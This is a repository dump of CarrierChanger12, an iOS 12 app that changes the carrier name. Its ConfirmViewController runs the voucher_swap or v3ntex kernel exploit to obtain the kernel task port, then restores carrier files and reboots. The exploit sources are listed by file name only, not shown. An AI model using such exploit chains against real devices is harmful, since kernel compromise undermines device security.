├── .gitignore
├── CarrierChanger12.ipa
├── CarrierChanger12_1.1.1.ipa
├── CarrierChanger12_1.1.ipa
├── CarrierChanger12_1.2.1.ipa
├── CarrierChanger12_1.2.2.ipa
├── CarrierChanger12_1.2.ipa
├── CarrierChanger12_2.0.ipa
├── LICENSE
├── README.md
└── voucher_swap
├── CarrierChanger12.xcodeproj
├── project.pbxproj
├── project.xcworkspace
│ ├── contents.xcworkspacedata
│ ├── xcshareddata
│ │ └── IDEWorkspaceChecks.plist
│ └── xcuserdata
│ │ ├── ksg.xcuserdatad
│ │ └── UserInterfaceState.xcuserstate
│ │ └── physuru.xcuserdatad
│ │ └── UserInterfaceState.xcuserstate
└── xcuserdata
│ ├── ksg.xcuserdatad
│ └── xcschemes
│ │ └── xcschememanagement.plist
│ └── physuru.xcuserdatad
│ └── xcschemes
│ └── xcschememanagement.plist
├── IOKit.framework
├── IOKit.tbd
└── Versions
│ ├── A
│ └── IOKit.tbd
│ └── Current
├── app
├── AppDelegate.h
├── AppDelegate.m
├── Assets.xcassets
│ ├── AppIcon.appiconset
│ │ ├── Contents.json
│ │ ├── Icon-40.png
│ │ ├── Icon-40@2x.png
│ │ ├── Icon-40@3x.png
│ │ ├── Icon-60@2x.png
│ │ ├── Icon-60@3x.png
│ │ ├── Icon-72.png
│ │ ├── Icon-72@2x.png
│ │ ├── Icon-76.png
│ │ ├── Icon-76@2x.png
│ │ ├── Icon-83.5@2x.png
│ │ ├── Icon-Small-50.png
│ │ ├── Icon-Small-50@2x.png
│ │ ├── Icon-Small.png
│ │ ├── Icon-Small@2x.png
│ │ ├── Icon-Small@3x.png
│ │ ├── Icon.png
│ │ ├── Icon@2x.png
│ │ ├── NotificationIcon@2x.png
│ │ ├── NotificationIcon@3x.png
│ │ ├── NotificationIcon~ipad.png
│ │ ├── NotificationIcon~ipad@2x.png
│ │ └── ios-marketing.png
│ └── Contents.json
├── Base.lproj
│ ├── LaunchScreen.storyboard
│ └── Main.storyboard
├── ConfirmViewController.h
├── ConfirmViewController.m
├── Info.plist
├── ViewController.h
├── ViewController.m
└── main.m
├── headers
├── IOKitLib.h
├── ipc_port.h
└── mach_vm.h
├── ida
├── analysis.py
└── kernel_call_parameters.py
├── post
├── offsets.h
├── offsets.m
├── post.h
└── post.m
├── v3ntex
├── exploit.h
├── exploit.m
├── offsets.c
└── offsets.h
└── voucher_swap
├── README
├── kernel_alloc.c
├── kernel_alloc.h
├── kernel_call.c
├── kernel_call.h
├── kernel_call
├── kc_parameters.c
├── kc_parameters.h
├── pac.c
├── pac.h
├── user_client.c
└── user_client.h
├── kernel_memory.c
├── kernel_memory.h
├── kernel_slide.c
├── kernel_slide.h
├── log.c
├── log.h
├── parameters.c
├── parameters.h
├── platform.c
├── platform.h
├── platform_match.c
├── platform_match.h
├── voucher_swap.c
└── voucher_swap.h
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | voucher_swap/xcuserdata/
3 | voucher_swap/Build/
4 | voucher_swap/Index/
--------------------------------------------------------------------------------
/CarrierChanger12.ipa:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/CarrierChanger12.ipa
--------------------------------------------------------------------------------
/CarrierChanger12_1.1.1.ipa:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/CarrierChanger12_1.1.1.ipa
--------------------------------------------------------------------------------
/CarrierChanger12_1.1.ipa:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/CarrierChanger12_1.1.ipa
--------------------------------------------------------------------------------
/CarrierChanger12_1.2.1.ipa:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/CarrierChanger12_1.2.1.ipa
--------------------------------------------------------------------------------
/CarrierChanger12_1.2.2.ipa:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/CarrierChanger12_1.2.2.ipa
--------------------------------------------------------------------------------
/CarrierChanger12_1.2.ipa:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/CarrierChanger12_1.2.ipa
--------------------------------------------------------------------------------
/CarrierChanger12_2.0.ipa:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/CarrierChanger12_2.0.ipa
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CarrierChanger12
2 | It changes carrier name on the status bar on iOS 12.0-12.1.2
3 |
4 | Use voucher_swap by bazad for iPhone 6s and above.
5 | Use v3ntex by tihmstar for iPhone 6 and below.
6 |
7 | # Supported Devices
8 | Support all devices on iOS 12.0-12.1.2
9 |
10 | # Credits
11 | - bazad
12 |
tfp0
13 | - tihmstar
14 |
tfp0
15 | - Alticha
16 |
modifications and post exploitation for voucher_swap
17 | - Jake James
18 |
modifications and post expolitation for v3ntex
19 | - PeterDev
20 |
made CarrierChanger12 to chanage carrier name
21 | - Muirey
22 |
made it doesn't need a computer
23 | - Luis E
24 |
made beautiful icon
25 | - Wei-Jin Tzeng
26 |
Improbed UI
27 | - Code4iOS
28 |
discorvered a way to make it work without reboot
29 | - jailbreak365
30 |
discorvered a way to support Wi-Fi Calling
31 | - CoryKornowicz
32 |
helped me to fix some errors
33 |
--------------------------------------------------------------------------------
/voucher_swap/CarrierChanger12.xcodeproj/project.xcworkspace/contents.xcworkspacedata:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/voucher_swap/CarrierChanger12.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | IDEDidComputeMac32BitWarning
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/voucher_swap/CarrierChanger12.xcodeproj/project.xcworkspace/xcuserdata/ksg.xcuserdatad/UserInterfaceState.xcuserstate:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/CarrierChanger12.xcodeproj/project.xcworkspace/xcuserdata/ksg.xcuserdatad/UserInterfaceState.xcuserstate
--------------------------------------------------------------------------------
/voucher_swap/CarrierChanger12.xcodeproj/project.xcworkspace/xcuserdata/physuru.xcuserdatad/UserInterfaceState.xcuserstate:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/CarrierChanger12.xcodeproj/project.xcworkspace/xcuserdata/physuru.xcuserdatad/UserInterfaceState.xcuserstate
--------------------------------------------------------------------------------
/voucher_swap/CarrierChanger12.xcodeproj/xcuserdata/ksg.xcuserdatad/xcschemes/xcschememanagement.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | SchemeUserState
6 |
7 | CarrierChanger12.xcscheme_^#shared#^_
8 |
9 | orderHint
10 | 0
11 |
12 | voucher_swap.xcscheme_^#shared#^_
13 |
14 | orderHint
15 | 0
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/voucher_swap/CarrierChanger12.xcodeproj/xcuserdata/physuru.xcuserdatad/xcschemes/xcschememanagement.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | SchemeUserState
6 |
7 | voucher_swap.xcscheme_^#shared#^_
8 |
9 | orderHint
10 | 0
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/voucher_swap/IOKit.framework/IOKit.tbd:
--------------------------------------------------------------------------------
1 | Versions/A/IOKit.tbd
--------------------------------------------------------------------------------
/voucher_swap/IOKit.framework/Versions/Current:
--------------------------------------------------------------------------------
1 | A
--------------------------------------------------------------------------------
/voucher_swap/app/AppDelegate.h:
--------------------------------------------------------------------------------
1 | //
2 | // AppDelegate.h
3 | // voucher_swap
4 | //
5 | // Created by Brandon Azad on 12/7/18.
6 | // Copyright © 2018 Brandon Azad. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @interface AppDelegate : UIResponder
12 |
13 | @property (strong, nonatomic) UIWindow *window;
14 |
15 |
16 | @end
17 |
18 |
--------------------------------------------------------------------------------
/voucher_swap/app/AppDelegate.m:
--------------------------------------------------------------------------------
1 | //
2 | // AppDelegate.m
3 | // voucher_swap
4 | //
5 | // Created by Brandon Azad on 12/7/18.
6 | // Copyright © 2018 Brandon Azad. All rights reserved.
7 | //
8 |
9 | #import "AppDelegate.h"
10 |
11 | @interface AppDelegate ()
12 |
13 | @end
14 |
15 | @implementation AppDelegate
16 |
17 |
18 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
19 | return YES;
20 | }
21 |
22 |
23 | - (void)applicationWillResignActive:(UIApplication *)application {
24 | // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
25 | // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game.
26 | }
27 |
28 |
29 | - (void)applicationDidEnterBackground:(UIApplication *)application {
30 | // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
31 | // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
32 | }
33 |
34 |
35 | - (void)applicationWillEnterForeground:(UIApplication *)application {
36 | // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background.
37 | }
38 |
39 |
40 | - (void)applicationDidBecomeActive:(UIApplication *)application {
41 | // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.
42 | }
43 |
44 |
45 | - (void)applicationWillTerminate:(UIApplication *)application {
46 | // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
47 | }
48 |
49 |
50 | @end
51 |
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "size" : "20x20",
5 | "idiom" : "iphone",
6 | "filename" : "NotificationIcon@2x.png",
7 | "scale" : "2x"
8 | },
9 | {
10 | "size" : "20x20",
11 | "idiom" : "iphone",
12 | "filename" : "NotificationIcon@3x.png",
13 | "scale" : "3x"
14 | },
15 | {
16 | "size" : "29x29",
17 | "idiom" : "iphone",
18 | "filename" : "Icon-Small.png",
19 | "scale" : "1x"
20 | },
21 | {
22 | "size" : "29x29",
23 | "idiom" : "iphone",
24 | "filename" : "Icon-Small@2x.png",
25 | "scale" : "2x"
26 | },
27 | {
28 | "size" : "29x29",
29 | "idiom" : "iphone",
30 | "filename" : "Icon-Small@3x.png",
31 | "scale" : "3x"
32 | },
33 | {
34 | "size" : "40x40",
35 | "idiom" : "iphone",
36 | "filename" : "Icon-40@2x.png",
37 | "scale" : "2x"
38 | },
39 | {
40 | "size" : "40x40",
41 | "idiom" : "iphone",
42 | "filename" : "Icon-40@3x.png",
43 | "scale" : "3x"
44 | },
45 | {
46 | "size" : "57x57",
47 | "idiom" : "iphone",
48 | "filename" : "Icon.png",
49 | "scale" : "1x"
50 | },
51 | {
52 | "size" : "57x57",
53 | "idiom" : "iphone",
54 | "filename" : "Icon@2x.png",
55 | "scale" : "2x"
56 | },
57 | {
58 | "size" : "60x60",
59 | "idiom" : "iphone",
60 | "filename" : "Icon-60@2x.png",
61 | "scale" : "2x"
62 | },
63 | {
64 | "size" : "60x60",
65 | "idiom" : "iphone",
66 | "filename" : "Icon-60@3x.png",
67 | "scale" : "3x"
68 | },
69 | {
70 | "size" : "20x20",
71 | "idiom" : "ipad",
72 | "filename" : "NotificationIcon~ipad.png",
73 | "scale" : "1x"
74 | },
75 | {
76 | "size" : "20x20",
77 | "idiom" : "ipad",
78 | "filename" : "NotificationIcon~ipad@2x.png",
79 | "scale" : "2x"
80 | },
81 | {
82 | "size" : "29x29",
83 | "idiom" : "ipad",
84 | "filename" : "Icon-Small.png",
85 | "scale" : "1x"
86 | },
87 | {
88 | "size" : "29x29",
89 | "idiom" : "ipad",
90 | "filename" : "Icon-Small@2x.png",
91 | "scale" : "2x"
92 | },
93 | {
94 | "size" : "40x40",
95 | "idiom" : "ipad",
96 | "filename" : "Icon-40.png",
97 | "scale" : "1x"
98 | },
99 | {
100 | "size" : "40x40",
101 | "idiom" : "ipad",
102 | "filename" : "Icon-40@2x.png",
103 | "scale" : "2x"
104 | },
105 | {
106 | "size" : "50x50",
107 | "idiom" : "ipad",
108 | "filename" : "Icon-Small-50.png",
109 | "scale" : "1x"
110 | },
111 | {
112 | "size" : "50x50",
113 | "idiom" : "ipad",
114 | "filename" : "Icon-Small-50@2x.png",
115 | "scale" : "2x"
116 | },
117 | {
118 | "size" : "72x72",
119 | "idiom" : "ipad",
120 | "filename" : "Icon-72.png",
121 | "scale" : "1x"
122 | },
123 | {
124 | "size" : "72x72",
125 | "idiom" : "ipad",
126 | "filename" : "Icon-72@2x.png",
127 | "scale" : "2x"
128 | },
129 | {
130 | "size" : "76x76",
131 | "idiom" : "ipad",
132 | "filename" : "Icon-76.png",
133 | "scale" : "1x"
134 | },
135 | {
136 | "size" : "76x76",
137 | "idiom" : "ipad",
138 | "filename" : "Icon-76@2x.png",
139 | "scale" : "2x"
140 | },
141 | {
142 | "size" : "83.5x83.5",
143 | "idiom" : "ipad",
144 | "filename" : "Icon-83.5@2x.png",
145 | "scale" : "2x"
146 | },
147 | {
148 | "size" : "1024x1024",
149 | "idiom" : "ios-marketing",
150 | "filename" : "ios-marketing.png",
151 | "scale" : "1x"
152 | }
153 | ],
154 | "info" : {
155 | "version" : 1,
156 | "author" : "xcode"
157 | }
158 | }
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-40.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-40.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-40@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-40@2x.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-40@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-40@3x.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-60@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-60@2x.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-60@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-60@3x.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-72.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-72.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-72@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-72@2x.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-76.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-76.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-76@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-76@2x.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-83.5@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-83.5@2x.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small-50.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small-50.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small-50@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small-50@2x.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small@2x.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small@3x.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon@2x.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/NotificationIcon@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/NotificationIcon@2x.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/NotificationIcon@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/NotificationIcon@3x.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/NotificationIcon~ipad.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/NotificationIcon~ipad.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/NotificationIcon~ipad@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/NotificationIcon~ipad@2x.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/ios-marketing.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/ios-marketing.png
--------------------------------------------------------------------------------
/voucher_swap/app/Assets.xcassets/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "info" : {
3 | "version" : 1,
4 | "author" : "xcode"
5 | }
6 | }
--------------------------------------------------------------------------------
/voucher_swap/app/Base.lproj/LaunchScreen.storyboard:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
32 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
--------------------------------------------------------------------------------
/voucher_swap/app/ConfirmViewController.h:
--------------------------------------------------------------------------------
1 | //
2 | // ConfirmViewController.h
3 | // voucher_swap
4 | //
5 | // Created by Soongyu Kwon on 04/02/2019.
6 | // Copyright © 2019 PeterDev. All rights reserved.
7 | //
8 |
9 | #import
10 | #import "kernel_slide.h"
11 | #import "voucher_swap.h"
12 | #import "kernel_memory.h"
13 | #import
14 |
15 | #include "ViewController.h"
16 | #include "../post/post.h"
17 | #include
18 |
19 | NS_ASSUME_NONNULL_BEGIN
20 |
21 | @interface ConfirmViewController : UIViewController
22 | - (IBAction)restoreBackup:(id)sender;
23 | - (IBAction)dismissView:(id)sender;
24 |
25 | @end
26 |
27 | NS_ASSUME_NONNULL_END
28 |
--------------------------------------------------------------------------------
/voucher_swap/app/ConfirmViewController.m:
--------------------------------------------------------------------------------
1 | //
2 | // ConfirmViewController.m
3 | // voucher_swap
4 | //
5 | // Created by Soongyu Kwon on 04/02/2019.
6 | // Copyright © 2019 PeterDev. All rights reserved.
7 | //
8 |
9 | #import "ConfirmViewController.h"
10 |
11 | @interface ConfirmViewController () {
12 | BOOL is4Kdevice;
13 | }
14 |
15 | @end
16 |
17 | @implementation ConfirmViewController
18 |
19 | - (bool)voucher_swap {
20 | vm_size_t size = 0;
21 | host_page_size(mach_host_self(), &size);
22 | if (size < 16000) {
23 | printf("4K device\nExploit selected: v3ntex.\n");
24 | is4Kdevice = TRUE;
25 | return false;
26 | }
27 | voucher_swap();
28 | if (!MACH_PORT_VALID(kernel_task_port)) {
29 | printf("tfp0 is invalid?\n");
30 | is4Kdevice = FALSE;
31 | return false;
32 | }
33 | printf("16K device\nExploit selected: voucher_swap.\n");
34 | is4Kdevice = FALSE;
35 | return true;
36 | }
37 |
38 | - (void)failure {
39 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Error: exploit" message:nil preferredStyle:UIAlertControllerStyleAlert];
40 | [self presentViewController:alert animated:YES completion:nil];
41 | }
42 |
43 | - (void)v3ntexFailure {
44 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Error: exploit. Reboot and retry." message:nil preferredStyle:UIAlertControllerStyleAlert];
45 | [self presentViewController:alert animated:YES completion:nil];
46 | }
47 |
48 | - (void)viewDidLoad {
49 | [super viewDidLoad];
50 | }
51 |
52 | - (IBAction)restoreBackup:(id)sender {
53 | Post *post = [[Post alloc] init];
54 | ViewController *vc = [[ViewController alloc] init];
55 | bool success = [self voucher_swap];
56 | if (success) {
57 | sleep(1);
58 | if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/mobile/Media/CarrierChangerBackup/"]) {
59 | [post restore];
60 | [post reboot];
61 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Success!" message:[NSString stringWithFormat:@"Successfully restored with backup."] preferredStyle:UIAlertControllerStyleAlert];
62 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]];
63 | [self presentViewController:alert animated:YES completion:nil];
64 | } else {
65 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Failed." message:[NSString stringWithFormat:@"Cannot find backup folder."] preferredStyle:UIAlertControllerStyleAlert];
66 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]];
67 | [self presentViewController:alert animated:YES completion:nil];
68 | }
69 | } else if (is4Kdevice) {
70 | if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/mobile/Media/CarrierChangerBackup/"]) {
71 | [vc dov3ntex];
72 | if ([[NSUserDefaults standardUserDefaults] boolForKey:@"isSucceed"] == TRUE) {
73 | printf("v3ntex: success\n");
74 | [post restoreBackup];
75 | [post v3ntexApply];
76 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Success!" message:[NSString stringWithFormat:@"Successfully restored with backup. Reboot your device."] preferredStyle:UIAlertControllerStyleAlert];
77 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]];
78 | [self presentViewController:alert animated:YES completion:nil];
79 | } else {
80 | printf("v3ntex: failed\n");
81 | [self v3ntexFailure];
82 | }
83 | } else {
84 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Failed." message:[NSString stringWithFormat:@"Cannot find backup folder."] preferredStyle:UIAlertControllerStyleAlert];
85 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]];
86 | [self presentViewController:alert animated:YES completion:nil];
87 | }
88 | } else {
89 | [self failure];
90 | }
91 | }
92 |
93 | - (IBAction)dismissView:(id)sender {
94 | [self dismissModalViewControllerAnimated:YES];
95 | }
96 |
97 | @end
98 |
--------------------------------------------------------------------------------
/voucher_swap/app/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | $(DEVELOPMENT_LANGUAGE)
7 | CFBundleDisplayName
8 | CC12
9 | CFBundleExecutable
10 | $(EXECUTABLE_NAME)
11 | CFBundleIdentifier
12 | $(PRODUCT_BUNDLE_IDENTIFIER)
13 | CFBundleInfoDictionaryVersion
14 | 6.0
15 | CFBundleName
16 | $(PRODUCT_NAME)
17 | CFBundlePackageType
18 | APPL
19 | CFBundleShortVersionString
20 | 2.0
21 | CFBundleVersion
22 | 1
23 | LSRequiresIPhoneOS
24 |
25 | UILaunchStoryboardName
26 | LaunchScreen
27 | UIMainStoryboardFile
28 | Main
29 | UIRequiredDeviceCapabilities
30 |
31 | armv7
32 |
33 | UIStatusBarStyle
34 | UIStatusBarStyleLightContent
35 | UISupportedInterfaceOrientations
36 |
37 | UIInterfaceOrientationPortrait
38 | UIInterfaceOrientationLandscapeLeft
39 | UIInterfaceOrientationLandscapeRight
40 | UIInterfaceOrientationPortraitUpsideDown
41 |
42 | UISupportedInterfaceOrientations~ipad
43 |
44 | UIInterfaceOrientationPortrait
45 | UIInterfaceOrientationPortraitUpsideDown
46 | UIInterfaceOrientationLandscapeLeft
47 | UIInterfaceOrientationLandscapeRight
48 |
49 | UIViewControllerBasedStatusBarAppearance
50 |
51 |
52 |
53 |
--------------------------------------------------------------------------------
/voucher_swap/app/ViewController.h:
--------------------------------------------------------------------------------
1 | //
2 | // ViewController.h
3 | // voucher_swap
4 | //
5 | // Created by Brandon Azad on 12/7/18.
6 | // Copyright © 2018 Brandon Azad. All rights reserved.
7 | //
8 |
9 | #import
10 | #import "kernel_slide.h"
11 | #import "voucher_swap.h"
12 | #import "kernel_memory.h"
13 | #import
14 |
15 | #include "../post/post.h"
16 | #include
17 |
18 | #include "../v3ntex/offsets.h"
19 | #include "../v3ntex/exploit.h"
20 |
21 |
22 | @interface ViewController : UIViewController
23 | - (IBAction)gotRevert:(id)sender;
24 | @property (weak, nonatomic) IBOutlet UITextField *carrierTextField;
25 | - (IBAction)creditClicked:(id)sender;
26 |
27 |
28 | - (void)dov3ntex;
29 | @end
30 |
--------------------------------------------------------------------------------
/voucher_swap/app/ViewController.m:
--------------------------------------------------------------------------------
1 | //
2 | // ViewController.m
3 | // voucher_swap
4 | //
5 | // Created by Brandon Azad on 12/7/18.
6 | // Copyright © 2018 Brandon Azad. All rights reserved.
7 | //
8 |
9 | #import "ViewController.h"
10 |
